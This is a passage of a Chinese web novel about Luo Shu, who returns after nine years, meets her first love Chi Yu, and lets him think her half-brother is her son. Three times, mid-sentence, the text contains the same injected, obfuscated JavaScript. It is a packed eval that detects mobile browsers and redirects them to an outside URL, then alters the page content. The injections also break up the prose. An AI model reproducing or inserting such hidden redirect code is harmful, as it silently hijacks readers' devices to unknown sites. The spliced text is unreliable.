苏望月捏着德芙的爪子拍自己脸上，有点疼：“我是喝多了还没醒酒吗，洛姝竟然有孩子了……她都结婚了？！咱们咋一点消息都没收到啊，她老公哪儿人啊，香梵我没记错是酒店吧，他们来粱城旅游？我听着这孩子口齿挺清楚，得有六七岁吧。洛姝她不就比咱小两岁，今年也就二十五吧，是吧我没记错吧。怎么会有个这么大的孩子。我真是好奇她这些年都经历了什么，年纪轻轻连孩子都有了。” 池煜也想知道洛姝这个年纪怎么有个这么大的孩子，相较于苏望月的好奇，他更心疼洛姝，这些年自己没有参与进的生活，洛姝是否受了委屈，是否存在难言之隐？ 他平静开口：“孩子跟她小时候很像。” 苏望月突然沉默起来，他怎么也没想到自己宿醉之后会得知这么劲爆的消息。 半晌过去，他说：“好多年没见她，想叙旧很正常，你要请她吃饭也没问题。但是，不喊她老公算什么，被她老公知道怎么办，你想过她的处境吗？” 见池煜对着某处发呆，他继续说：“池煜我真得说说你，我知道这些年你都放不下她，但是说到底，也过去了这么多年，该放下就放下吧。人孩子都打酱油了，你在这哪跟哪呢。” 池煜笑着点了支烟，声音有些哑：“放不下。” 苏望月噎住，感觉他真的有点无可救药：“我真草了，你这样该不会是想去跟人抢老婆吧……你可醒醒吧，别想不切实际的了！” 池煜突然就想到风雪中，那个身体不太好的英国男人，教养很好又很活泼的孩子遗传了他的发色，笑着钻进他怀中。 他什么都不用做，甚至不用靠近洛姝，只需要喊她的小名，洛姝就立刻回头想要朝他走近，甚至都忘了面前的人和她有九年没见，连简单的寒暄都没有说几句。 或许这个男人真的有魅力吸引到了洛姝。 但是那又怎么样？ 池煜自嘲地扯了扯唇角，眼睛垂下来看向茶几上的沙漏，淡淡道：“不试试怎么知道不行。” 4. Chapter 04 简单吃了早饭，洛姝在谢雨杉的催促下开始化妆。 今天的温度比前几天低几度，她没再贪恋风度穿大衣，而是换成了黑色羽绒服，围了个款式简单的白色围巾，头发用一根黑色皮筋绑了个低丸子头。 眼看快到约定好的时间，洛姝带着谢雨杉去找谢瑞。 谢瑞在客厅里看新闻，得知他们要出去吃饭，帮谢雨杉戴好围巾和帽子，又为他在杯子里装好温水，送他们到电梯口：“要听姐姐的话，今天不能再乱跑了。” “放心吧爸爸。” 谢雨杉手舞足蹈地跟着洛姝进了电梯，等到门合上，洛姝拉着他的手，轻声说：“Milo，今天姐姐陪你堆两个雪人好不好？” “好呀！” “那你答应姐姐一个条件。” “好！” 洛姝想了又想，才说：“今天允许你在别人面前喊我＇妈妈＇。” 谢雨杉不懂为什么，但是点头答应：“我答应你。” 洛姝又说：“不可以在别人面前提姐姐的事情。” 谢雨杉提醒：“姐姐，这是第二个条件了，我需要考虑一下。” 洛姝拍拍他的帽子：“……小瞧你了啊谢雨杉，那我请你喝奶茶怎么样，考虑得怎么样了。” 谢雨杉笑得很贼：“太好了，我答应你！” 出了电梯，洛姝一眼就看见坐在沙发上的池煜，不知道他等了多久。 谢雨杉很自来熟，挣脱了她的手奔向池煜，也许是因为一杯奶茶的交情，他表现得和池煜很熟络：“哥哥，中午好呀。” “Milo，中午好。”池煜自然地把他拥在怀里摸了摸他的后脑勺。 “哥哥，我今天打扮得帅气吗？” 池煜毫不吝啬夸赞：“很帅。” 谢雨杉嘿嘿一笑：“谢谢哥哥，看来我爸爸眼光不错嘛。” “等很久了吗？”洛姝问。 “刚到没多久。”池煜抱起谢雨杉，她今日的穿搭和前一天比起来穿得保暖多了，长款的羽绒服遮到她小腿的位置，因为她个子够高，人又偏瘦，衣服穿在身上并不显得臃肿。 “我忘了问，Milo怕狗吗。” “不怕，他在英国养了只杜宾，经常带出去溜弯。”洛姝说完，想到他朋友圈里的那只金毛，问：“你带来了？” “嗯，正好要送它去宠物店体检。” 谢雨杉抱着池煜的脖子：“哥哥，你养的狗狗很乖吗？” “它很温顺。” “那我可以摸摸它吗？” “当然可以。它会很喜欢你。” 池煜的车停在酒店外的停车场，洛姝一眼就看见了那辆扎眼的宾利，车身上覆盖一层薄薄的雪，似乎到了不止一会儿。 地面结了冰，好些人走着走着便踉跄了下，洛姝伸手接住扑面而来的雪花，对池煜说：“他太沉了，你放他下来，他自己可以走。” “两步远而已。”池煜抱着谢雨杉没松手，打开后座前，车内适时传来抓挠的声响。 他敲了下窗以示警告，车内果然安静很多，他打开车门，德芙吐着舌头稳稳立在车座上，看起来很兴奋。 等到池煜把谢雨杉放在安全座椅上系好安全带的时候，德芙甩着尾巴开始闻他，一直让他摸自己脑袋。 洛姝坐上副驾，看着金毛耳朵上缺的那一小角，确定自己没看错，愕然道：“德芙？” “是它。” 谢雨杉招架不住，抱着它的脑袋，问：“是巧克力的那个德芙吗？” “真聪明，猜对了。” 谢雨杉被金毛舔了一手口水：“为什么叫这个名字呀？哥哥你喜欢吃这个巧克力吗？” 池煜低低笑出声，车开出酒店停车场，没有解释：“猜错了。你妈妈知道为什么。” 洛姝当然知道为什么，叫德芙不是因为池煜爱吃这个牌子的巧克力，更不是她爱吃，而是引用了“因祸得福”的谐音，“德芙”这个名字也是她起的。 她跟池煜捡到德芙的时候，它耳朵还流着血，很小的一只，奄奄一息看起来不像是能活过那个秋天。 “为什么呀妈妈？” 谢雨杉稚嫩的声音让洛姝抽回神，一想到要是和他说了原因，谢雨杉那个小脑袋瓜可能要刨根问底成语的意思。 于是，洛姝话到嘴边的解释变成了：“名字是我起的，我想让它叫什么就叫什么。” * 香梵到久膳坊平时只要十五分钟，但今天路上车辆的车速实在过慢，到地方的时候已经是半小时之后。 苏望月等在大厅里玩手机，在看见池煜抱着孩子孩子进门的一幕顿时虎躯一震，总觉得自己的酒还没清醒。 在心里狠狠唾弃了一下好兄弟，苏望月还是带着特别灿烂的笑容迎上去，对洛姝说：“好多年不见了洛洛，更漂亮了。” 洛姝和他打了招呼，让谢雨杉喊人。 谢雨杉张开手让苏望月抱：“叔叔好。” 苏望月看见孩子着实愣了几秒，笑着接过来抱在怀里：“不怕生呢这孩子，今年多大啦？叫什么名字？” 谢雨杉如实回答：“我是谢雨杉，今年五岁了。” 姓谢吗，洛姝出国之后原来改了名字跟着谢玫姓了。 ……都五岁了吗，天爷啊。 苏望月心情复杂地看了眼池煜，在心里叹了口气，继续跟孩子说话：“谁给你起的名字呀？” “妈妈起的。” 聊了两句的功夫到了包间。里面开了暖气，洛姝拉开把椅子让谢雨杉坐在自己旁边，帮他把外套和围巾取下来放在一边。 等他们都落座后，服务员开始上菜，苏望月在三个人面前的高脚杯里倒了红酒：“咱们仨好久没见了，喝点儿。” “你那点酒量还是喝牛奶吧。”池煜给一脸期待的谢雨杉倒了杯旺仔牛奶，和他碰杯。 苏望月知道自己酒量不好，被噎了一下也不生气：“这家菜不错，洛洛你跟雨杉尽管放开了吃，池煜买单。” 谢雨杉一手捏一只筷子，兴奋道：“好耶！” 池煜把面前那道小酥肉转到洛姝跟前，问：“怎么想到来粱城玩？” 洛姝给谢雨杉夹了他想吃的小酥肉，说：“雨杉想回国看雪，正好朋友给我说粱城最近要下雪，雪景会很好看。我们就过来这边了。” “打算待多久。”池煜又问。 洛姝低头吃菜，“半个月左右。” 苏望月端着酒杯品着品着一杯就已经见了底，他不顾池煜警告的目光，又给自己倒了杯，看着一直在低头吃饭的小孩子，“我看雨杉挺乖的，平时应该不用你怎么费心吧。” 洛姝想说，平时我都没带过孩子的，但一想到今天是打算将误会坐实，只好说：“还好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375715|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢雨杉哇了声：“我看起来真的很乖吗？” “真的。” 谢雨杉害羞起来：“唉，可是爸爸说我是淘气包，还说我很烦人呢。” 一直没提及的人从孩子的嘴里说出来，苏望月感觉到气氛陡然冷下来，干巴巴地笑了两声，举起酒杯：“都别光顾着吃菜，来，碰一个。说来也巧，现在我跟池煜都在粱城发展呢。” 洛姝咽下冰凉的酒液，把杯子放回桌上：“昨天听你说在这里开店，什么店？” 苏望月抢声回答：“他在这开了家酒吧。” “酒吧？”洛姝有些愕然，随即笑了：“是在九街那一片吗，朋友说那条街有十几家酒吧，很壮观，到晚上那条街很热闹吧。” 池煜靠在椅背上，下颌稍稍抬起来，脸上带着笑：“是挺热闹，都挨一块。哪天你有空来店里坐坐，给你打折。” 苏望月睨了池煜一眼：“这当了老板之后铜臭味这么重呢。洛洛你只管来，酒钱算我的。报我名字就跟刷脸似的，管用。” “别听他吹。他撒酒疯砸坏店里东西还没赔呢。”注意到身旁的谢雨杉端着碗让洛姝喂饭却被拒绝，池煜边说话边拿起他的小碗给他喂饭：“旁边几家酒馆都怕他喝多了神志不清进错店砸场子。” “行了啊，少来拆我台。再说了咱们这交情能谈钱吗，还是不是兄弟了？”苏望月已经醉了，呆愣了几秒，手肘撑着桌子问洛姝：“洛洛，这些年你过得怎么样？” 洛姝没想到话题落在自己身上，愣了愣才说：“我挺好的。” 苏望月叹口气：“挺好的就好，这么多年你也没个消息，你这一下子带个孩子出现我真的很震惊……我有个问题，没别的意思，就是有点好奇，你怎么想到那么早结婚生孩子的呢？你现在——” 池煜皱起眉，语气不悦，打断他：“苏望月。” 洛姝没想到苏望月这个时候竟然说起了醉话，不过这些话会问出来才会合乎常理。 从他的角度来看很不可思议，可站在池煜的视角看，更是荒谬至极。 帮一个外国小男孩找妈妈，结果找到了单方面对自己提了分手的初恋。 十六岁不告而别，出国的时候还是个高中生，打那之后再没有跟他们联系过，好像出国之后就查无此人，人间蒸发了一般。 九年后突然出现在粱城，带着个半大的孩子，这些年在国外到底经历了什么，十几岁就怀了孕。 苏望月不可置信，酒后吐露真言。 那池煜呢，他只是没有问而已。 ——他沉默的背后，又在想些什么？ 洛姝满脑子只有这句话。 她突然有些啼笑皆非，同母异父的弟弟跟自己小时候长得像，弟弟又总是口误喊自己“妈妈”。 于是在看见池煜的时候，破罐子破摔默许这个误会延续，这一连串的人为误会，导致效果显著提升，骗过了对面的两个人。 粱城不过是旅途中短暂的一站，谢雨杉是自己同父异母的弟弟这个真相，说与不说并不重要。 可是这个当口，不知道是不是受苏望月那番话的影响，内心坚定的想法竟然有些动摇。 鬼使神差地，她微微前倾，看着池煜，“池煜，你是不是也好奇。” 池煜直视她的眼睛，笑了笑，直白道：“那不重要。” “我更想参与进你的未来。” 5. Chapter 05 大雪停在傍晚五点，天色渐暗，香梵酒店后面有一大片区域被茫茫白雪覆盖，除却一大一小的两个人，地上还堆着两个躺着的雪人。 洛姝用眼影盘里显色度最高的颜色给两个雪人妆点了红彤彤的脸蛋。 谢雨杉举着一双冻得通红的小手用积木给雪人安上双眼，很兴奋地坐在地上，张开双臂靠在兔子雪人旁边比了个剪刀手：“姐姐，你给我拍张照吧。” 洛姝拿着手机给他拍了两张，谢雨杉又换了个搂着的姿势，扭捏道：“姐姐，能不能用拍立得也给我拍几张呀？” “可以。”一般他要求使用拍立得都是给照片送人，小家伙的所有朋友都收到过他送的礼物——自己的拍立得照片。 比如英国家里的杜宾犬，静置在窗台上有些干瘪的两根玉米，以及隔壁邻居养的玉米蛇和面包店店长姐姐养在缸里的斗鱼。 洛姝给他拍了几张，“你要送给谁？” 谢雨杉两只手握在一起，嘿嘿笑了：“我想送给池煜哥哥。” 蓦地，洛姝想到在久膳坊的包间里，池煜看着自己说的话。 ——“那不重要。” ——“我更想参与进你的未来。” 太直白了。 她记得自己当时看向谢雨杉，口不择言地说：“可你看到了。” 言下之意，你看到了，我现在“有个孩子”。 池煜的回答很松弛。 ——“看到了，孩子很活泼，又很可爱。” ——“这并不能代表什么。” …… 洛姝不是没有设想过和池煜再见面的场景，但那些假设里的他，都是冷淡又倨傲的。 毕竟单方面提分手的人是她，一声不吭出国切断了一切联系，整整九年消失在他世界里的人是她。 想想都很莫名其妙不是吗。 再见面能忍不住不爆粗口，不挖苦讽刺就不错了，怎么会笑脸相迎呢？从见到面到中午的饭局，从始至终连一句“为什么”都没有问过。 ——池煜在想什么？ 洛姝拍了拍脸颊，冰冷的手指触到脸上让她打了个激灵。 她不再去想，问一脸期待的弟弟：“你们什么时候成好朋友了。” “昨天呀，买奶茶就已经是了。”谢雨杉换了个姿势，躺在地上抱着雪人，笑得很开心：“今天还一起吃饭呢。姐姐你快给我拍呀，我要送给池煜哥哥最好看的一张。” 洛姝把照片递给他，扬起下巴：“喏，送去吧。” 谢雨杉眨巴眨巴眼：“你不陪我去吗？我不知道他在哪。” “我也不知道。” 谢雨杉揪着洛姝的衣角：“可是姐姐不是有池煜哥哥的微信吗，我们去找他吧！” “今天不是才见过吗？！” 洛姝站起来，头疼地揉了揉太阳穴：“我不去。” 她都忘了自己在池煜说完那些话的时候，维持的是什么样的表情，是惊，还是喜？ 总之带着弟弟离开像落荒而逃。 谢雨杉不禁逗，一骨碌从地上爬起来，双手合十求她：“可是他是我在中国第一个认识的朋友呀，世界上最最最漂亮的姐姐，求你了让我把照片送给他吧。” “……” 哪有人上赶着把自己照片当成礼物送人的，想必只有古灵精怪的谢雨杉才做得到。 洛姝又不想打击他，拍掉他身上的雪：“过两天吧，我们不能总是给别人添麻烦。”说完也不等他，自己转身朝酒店走。 谢雨杉小跑跟上：“那好吧。” * 第二天下午，道路的积雪被扫了个干净。 远在英国邻居家寄宿的杜宾吃坏了肚子，谢瑞提前回了英国，谢雨杉留在了洛姝身边。 洛姝带着弟弟去了朋友的糖果店。 说是糖果店也不尽然，更像个小型猫咖。赵慕挽在店里养了七只不同品种的猫，有一半是捡到的流浪猫，家里有长辈对猫毛过敏，她就干脆把猫放在店里。 店的位置偏僻，糖果每天都有人送上门，用不着赵慕挽动手，所以大部分时间她都用来撸猫，前来买糖果的客人们也会在这里逗留一阵，摸摸这群翘着尾巴不怕生的小猫。 小朋友看见各种猫咪很开心，拿着姐姐的手机狂拍，一直到提醒他手机电量过低后才罢手，转手又拿着拍立得去和猫咪合照。 洛姝抱着一只三花坐在椅子上，店里一半的空间被改装成猫的游乐园，用玻璃和用餐区域隔开。看了半晌，她问：“怎么想到在粱城开店？” 赵慕挽家在浔城，跨越三百公里来到粱城开了店是她想不到的，上学时候赵慕挽就是个恋家的姑娘，大学填的也是浔城的几所院校。 赵慕挽撩了撩头发，捏着棉花糖往嘴里送：“因为他在这里。” 洛姝愣了下，没反应过来：“谁？” “哎呀非要我说得那么清楚嘛，当然还是苏望月啦！”赵慕挽佯装恼火，很快又平静下来：“前几年知道他来粱城后，我就辞了工作来这里了。” 赵慕挽之所以能认识苏望月是因为洛姝。 初中时候她跟洛姝是同桌，洛姝每天上下学都是和池煜一起回家，她经常跟着洛姝一块出校门，池煜的身旁跟着苏望月，久而久之就认识了。 想到昨天才见过的苏望月，洛姝问：“那你们现在怎么样了？” 这些年她们虽然经常联系，但从不提及感情上面的事。 “刚辞职来找他的时候，他收留我一阵。后来谈了几个月分手了。”赵慕挽摊开手，坦白：“分手又复合，然后又分手了。没了。” 她不愿意多提，“好了不说我了。池煜也在粱城呢，他在九街开了家酒吧，我跟苏望月谈的时候经常去，生意很火爆。这些你应该比我知道的要早吧。” “怎么会。” 洛姝低着头摸猫，“你说我才知道。” “不是，你真的假的啊？”赵慕挽不可思议：“你出国之后没跟他联系过？” 洛姝单手撑着脸：“没有。” “你出国没多久他来找我，问我有没有你的联系方式。我实话实说没有，因为你那时候只要了我的号码嘛。他就说如果你来电话，麻烦告诉他一声。我当时还多嘴问了句你俩吵架了吗，他说没有，就走了。不过我没能帮上他的忙，因为你一次都没有主动联系过我！” 赵慕挽拿手指头戳了戳洛姝的头：“前两年回国你倒是知道和我联系了啊。你和池煜是不是分手挺久了？我跟苏望月谈的时候，我见过池煜几面，他也没向我打听过你。苏望月也让我别在池煜面前提起你。 赵慕挽和洛姝上高中后在不同的班级，那时候见到的面很少，基本都是周五傍晚放周末假能碰面，知道洛姝和池煜谈恋爱还是苏望月当着当事人的面说的。 公开的那瞬间，她还有些不可思议。 至于这两人怎么谈的，之间具体又发生了什么，她一概不知。 洛姝看向正在和猫玩得不亦乐乎的弟弟：“没出国就分了。” “……你今天说的话真的让我很惊讶。” 赵慕挽：“你没出国前就和他分手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375716|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，这些年不会一直没联系吧？这都过去多少年了啊，快十年了吧，你俩就算做不成情侣还是家人啊。你跟他可是从小一起长大的交情。” 洛姝想到住在池家的那些年，搅动着杯里的咖啡，没什么情绪地说：“算哪门子家人呢……我只是寄养他们家而已。” “好啦，都过去啦，咱们向前看。” 赵慕挽换了话题：“池煜这些年变化挺大的，比以前爱笑。” 洛姝深有同感：“人总要长大嘛。” 赵慕挽伸了个懒腰：“说得也是。就像我为了苏望月愿意离开舒适区。你也是，以前挺没耐心一个人，带起孩子来还不赖嘛。” * 晚上，洛姝带着弟弟和赵慕挽一块吃了饭，然后打车回酒店。 半道上，玩嗨了的谢雨杉躺在她腿上呼呼大睡，驾驶位上的司机从后视镜看了眼，笑着说：“你儿子长得可真好看。” 洛姝解释：“这是我弟弟。” 司机明显滞了下，显然不太信：“哈哈，看着倒像是你生的。” 洛姝扯了个笑没说话，头靠在车窗上，看着匆匆掠过的景致。 无所谓啊，无关紧要的人误会就误会吧，她想。 手机一直放在谢雨杉的口袋里，她拿出来，想看一眼被塞满小猫合照的相册，结果按了两下手机都没是黑屏状态才反应过来手机没电了，似乎出门前就只剩一半的电量，但是没有太在意。 爱说话的谢雨杉在做美梦，前排的司机一声不吭，洛姝就这样握着没电的手机干瞪眼到了酒店。 她抱着谢雨杉下车，对司机解释：“我手机没电了，可能要晚一些支付费用。”她用的是打车软件叫的车。 司机表示理解，随后扬长而去。 五岁的孩子有些沉，但还没有到抱不动的地步，洛姝抱着谢雨杉进了酒店大厅，两只胳膊隐隐发酸。 前台看见她，问：“小姐，需要帮忙吗？” “谢谢，不用了。”不经意瞥见不远处沙发上坐着的人，洛姝明显一怔。 大厅角落的灯坏了一盏，池煜坐在角落的沙发里，只能看清紧抿的唇和流畅的下颌线，神色掩在黑暗里晦暗不明，长腿交叠，不知在想什么。 他听见动静抬起眼，随后快步走到她身边：“我来。” 洛姝忘了拒绝，把怀里的谢雨杉交给了他，整个人的注意力全放在他为什么会出现在这里：“你怎么来了。” 池煜稳稳抱着孩子，跟着她进了电梯：“想和你一起吃晚饭。” “发你微信没回，打电话也是关机状态。”他顿了下，才笑着说：“还以为你又在躲我，就来了。” 又。 有什么东西扎进心里，狠狠地刺了一下。 洛姝按了楼层，晃了晃手机，当作没听见他后半句：“手机没电关机了，在车上才注意到……不是在躲你。” 池煜挑眉，那双杏眼含着一层水色，眼睫垂着看她：“真的？” 洛姝又挥了挥手机：“真的。不信你看。” 她把手机递给他。 池煜没接，看了她半晌，随后移开眼睛看着电梯门，嗤笑：“胆小鬼。” 洛姝站得笔直，两只手握着手机，不看他，看着门上两个模糊不清的影子，低声反驳：“你说谁？我才不是。” 叮—— 楼层到了。 “那当初是谁一声不吭就出国了？”他似乎并不执着于答案，像是随口说的无心话。 尾音落下，他抱着怀里睡得打起鼾声的谢雨杉走出电梯。 6. Chapter 06 难离难舍 洛姝低不可闻地叹息一声，随后捏着手机快步跟上，刷了卡让池煜进去。 谢雨杉刚被放到床上就醒了，迷迷糊糊地喊：“妈妈。” 洛姝知道弟弟还没清醒，把他搂怀里拍了拍：“继续睡吧。” 谢雨杉抬手摸了摸她的脸，反应了两秒后，紧紧搂住她脖子，眼睛红了一圈：“姐姐，我想妈妈。我梦见妈妈了，晚上可以看妈妈生前的录像带吗？还想给她写信。” 洛姝拍着他后背，轻声说：“当然可以，都可以。” “我梦到……”谢雨杉抬起头，突然看见床边的站着的池煜，顿时有了精神，惊喜道：“池煜哥哥，你是来看我的吗？！” “对。”池煜摸了摸他的头发。 他看了眼只拉了半扇的窗帘，窗外的天已经黑透了，问：“都天黑了，你怎么想到这时候来看我呀？” “因为哥哥想和我们一起吃晚饭。”洛姝摸了摸他的头，把选择权交给谢雨杉：“我们要不要给他个面子，陪他吃饭？” “当然啦！现在就走吧！”谢雨杉一扫刚睡醒的低迷，从床上爬起来就要去拿照片：“哥哥你等一下，我有礼物要送你。” 照片被洛姝放在床头柜，她拉开，“在这里。” 谢雨杉拿出照片，捧在双手递给池煜：“喏，给你。庆祝你成为我在中国的第一个好朋友。” 两张拍立得照片都是和雪人的合影，池煜拿在手心，笑了笑：“谢谢，能成为你在这里的第一个朋友，我很荣幸。” “那我们快去吃饭吧！” 谢雨杉已经跑到外面穿鞋去了。 卧室里就剩两个大人在，洛姝还坐在床边，感觉气氛有些尴尬，原因可能是因为谢雨杉几句话把她“二十岁当妈”的误会解开了。 手机充了点电已经开机，她先在平台上支付了车费，想了想还是拔掉正在充电的手机，拿着数据线放包里，说：“那，走吧？” 池煜看在眼里，笑：“没电还带着。” 洛姝说得理所应当：“结账。” “我请。” 池煜看了她两秒，帮她把手机重新充上电：“跟我至于这么生分么。” “不是生分……你帮忙找到了雨杉，我一点表示都没有，说不过去吧？” “需要报酬的话还叫什么助人为乐。” 说着，他先朝外面走：“你们这个点没想着在外面吃点？” 洛姝慢他两步，轻轻眨了下眼睫没搭腔，倒是谢雨杉穿好鞋子等在门口，很大声地说：“没呀，正好饿了呢！” 谢雨杉已经迫不及待跑进了走廊，两个大人落在后面并肩走，谁都没有先开口的意思。 洛姝感觉头大，突然有点后悔答应了这顿饭局。 毕竟她跟谢雨杉吃了晚饭，再去吃一顿有点太难为自己的胃了。 可是在大厅里看见不知等了多久的池煜，只因为自己的手机关机就找了过来，又很难不动容。一顿饭而已，若是推辞也太不近人情了。 可是现在说点什么好呢？ 就在她绞尽脑汁想着怎么打破宁静的时候，池煜先开了口：“阿姨的墓在国外？” 洛姝：“首都。” “抽空我想去祭奠一下。”池煜跟着她进了电梯，继续说：“到时候一起去吧，我不认路。” “好。”洛姝顿了一下，低声说：“谢谢。” “傻不傻，用得着道谢么。谢阿姨从小看着我长大。”像是怕提起往事会惹得洛姝伤感，池煜及时止住了话头：“本来就该去祭奠的。” * 路上没有耽搁，十几分钟就到了久膳坊，他们到的时候菜刚好上齐。 选的位置是四人位的小套间，谢雨杉落座后就挑着桌上的甜点大快朵颐，完全看不出来是吃过晚饭的样子，洛姝小声警告他：“晚上不能吃太多甜食。” 她完全不饿，给自己倒了杯温水小口喝着，随口问：“蒋姨和池叔他们这些年都挺好的吧？” “嗯。” 池煜笑着问：“你怎么不问我好不好？” “那你过得好不好。”洛姝觉得自己问了句废话，池煜的性格比以前开朗了很多，连赵慕挽都这么觉得，怎么可能过得不好。 池煜敛了笑，声音有些沉，“我过得不好。” 洛姝在心里咯噔一下，就见他重新展开笑，望着她：“我这样说你会信吗？” “……不信。”洛姝还配合地摇了摇头。 “那不就行了。” 坐在对面的池煜看起来是真的饿了，正慢条斯理地低着头认真吃饭，他还像是以前一样，吃饭的时候基本上不会主动说话。 久膳坊的菜很对洛姝的胃口，又加上池煜吃饭真的很有食欲，她突然感觉自己其实还可以再吃点，于是拿起了筷子，也夹了刚刚池煜吃的那道蚝油生菜。 池煜吃饭速度不慢，没过多久便放下了筷子，看着脑袋快要栽倒在甜品里的谢雨杉，笑说：“雨杉困了。” 谢雨杉眼睛都快睁不开了，却还是强撑着睁开眼睛，说：“我不困。” 洛姝把他搂到怀里拍了拍，他这才安稳地合上了眼睛，嘴里还嘀咕着：“我就睡一小会儿哦。” 没过一会儿，怀里的弟弟就睡着了。 池煜看着睡在洛姝臂弯里的孩子，相处的这几天从来没见他闹过脾气，“他一直都这么乖么。” “也不是。两岁之前很爱哭，吵得人头疼。”洛姝垂下眼看着弟弟银色的头发，声音放轻：“后来妈妈病重住院，他就很少哭闹了。” “他看起来很依赖你，平时你带他比较多？” 洛姝笑了笑：“我和他见面的次数不算多，他爸爸经常带他到各地玩。说到依赖，也是因为我长得很像我妈妈年轻的时候。” 池煜点点头，才算知道为什么这么通透的孩子会把姐姐喊错：“所以他会口误喊你‘妈妈’。” “他遇到你的时候，是让你帮他找妈妈吧？”那天晚上到底发生了什么，他是怎么找到池煜，又是怎么让池煜带他找到自己的，洛姝没具体问过，但是一直很好奇。 “嗯。”提到这个，池煜笑起来：“他哭得很伤心，也很有礼貌，问我愿不愿意帮他找妈妈。” 洛姝一言难尽：“你就不怕这是什么新型骗术？不法分子利用小孩子的违法案例你没从短视频刷到过吗。” “刷到过，也有点怕，才跟他说我是警察。”池煜还是笑，给自己倒了杯水端起来喝了一口，细致地说出了那天晚上发生的事，“就这样。” “那你看到我的时候，在想什么？”洛姝终于问出来了。 “没想什么，只是感觉很巧。”池煜轻描淡写。 当时他动了恻隐之心是因为谢雨杉那双和洛姝长得很像的眼睛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375717|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等到看清他口中的“妈妈”竟然是洛姝的时候，脑子里有根名为理智的弦突然崩断，完全不知道该做出什么反应的时候，人已经下了车。 根本来不及去想些什么，比如—— 她是什么时候结的婚和另一半有了孩子。 她为什么会出现在梁城。 又是因为什么和自己失联了这些年。 脑子里就只有一个念头。 那就是到她身边，确认眼前的一切并非假象。 “不过我跟雨杉长得确实很像不是吗？”洛姝想到晚上被司机误会的事情，叹口气：“晚上打车回酒店，司机也误会雨杉是我儿子。我说这是我弟弟，可他不信。” “是很像。所以在今晚之前我都信以为真。”池煜说完，挑了下眉：“跟陌生人解释起来倒是挺干脆，怎么到哥哥我这里就藏着掖着。如果我晚上没听到雨杉说的话，你是不是要一直瞒着？瞒一辈子么。” 洛姝被噎了下，一时不知道该怎么解释，“你猜。” “我不猜。”池煜拍了拍她的发顶：“你心里的想法我可猜不出来。还是说，你想用这种方式，向我要一个确切的答案？” 洛姝怔了下，偏开目光：“什么？” “没什么，开玩笑的。” 池煜从她怀里抱起呼呼大睡的谢雨杉，“走吧，送你回去。” 回去的路上两人都没有说话，车内电台放着粤语歌，正唱到那句“来年陌生的是昨日最亲的某某”。 好应景。 好像她跟池煜的现状。 洛姝忽然闭上了眼睛，她在心底生出一丝后悔。 在英国的那些年，她总是后悔，后悔自己当年负气一走了之，没给池煜留下只字片语。 时至今日再次见到池煜，她悔的是，当初要是不和他谈恋爱就好了。 一直藏着自己的感情，当他名义上的妹妹，那样就会一直相安无事，不会被蒋春燕发现，也就不会一心想着跑出国躲起来。 也就不会变成现在这样，不是恋人，不像朋友的相处了。 * 回到酒店已经是十点钟。 洛姝洗漱完已经是十一点半，谢雨杉这一觉睡得很短，他还惦记着要给妈妈写信，从小书包里掏出文具和纸张开始写，有不会的字再问姐姐。 他也不会写信，只是想到什么就写什么，最后再叠整齐放进书包里。 等到歪歪扭扭的大字占满了纸张，他发现姐姐的坐姿动都没动过一下，一直在发呆：“姐姐，你心情不好吗？” 洛姝回过神，说：“没有。” 谢雨杉拿笔杆戳了戳脸颊：“可你看起来不是很高兴。” 洛姝扯出来一个笑：“怎么会呢。” “好吧。” 谢雨杉：“明天还可以跟池煜哥哥吃饭吗？” “就想着吃。”洛姝板着脸，两根食指交叉：“不可以。” 谢雨杉睁着无辜的大眼睛：“为什么呀？” 洛姝帮他收拾好书包，放回客厅去：“因为他有自己的生活，说了你也不懂。” “我懂呀，你说出来我就懂了。” “我们会打扰他的，打扰别人的生活不礼貌，明白吗。” “那我们不打扰他。”谢雨杉小心翼翼地看着姐姐：“我们加入他的生活，还不行吗？” 洛姝：“……” 7. Chapter 07 洛姝的太阳穴突突跳：“在哪学的？乱说话。” 谢雨杉晃着两条小短腿：“电视上呀。” “罚你以后不许看电视。” 谢雨杉被唬住了：“那怎么行呢姐姐，我们再商量一下吧。” 洛姝不轻不重地给了弟弟一个脑瓜崩，拉着他进浴室：“洗好之后乖乖去睡觉，能做到吗？” 自从谢玫过世后，谢瑞的身体也常常抱恙，他生怕自己哪天离开儿子的时候，谢雨杉一点生活技能都不具备，于是早早教他独立。 谢雨杉去年开始自己洗澡，他抱着自己的沐浴露重重点头，声音洪亮：“做得到！” 要关上门的时候，他又歪着头问：“姐姐，我说的话你有在听吗？” “哪句？” 谢雨杉眼睛很亮：“就是加入池煜哥哥生活那句话。” 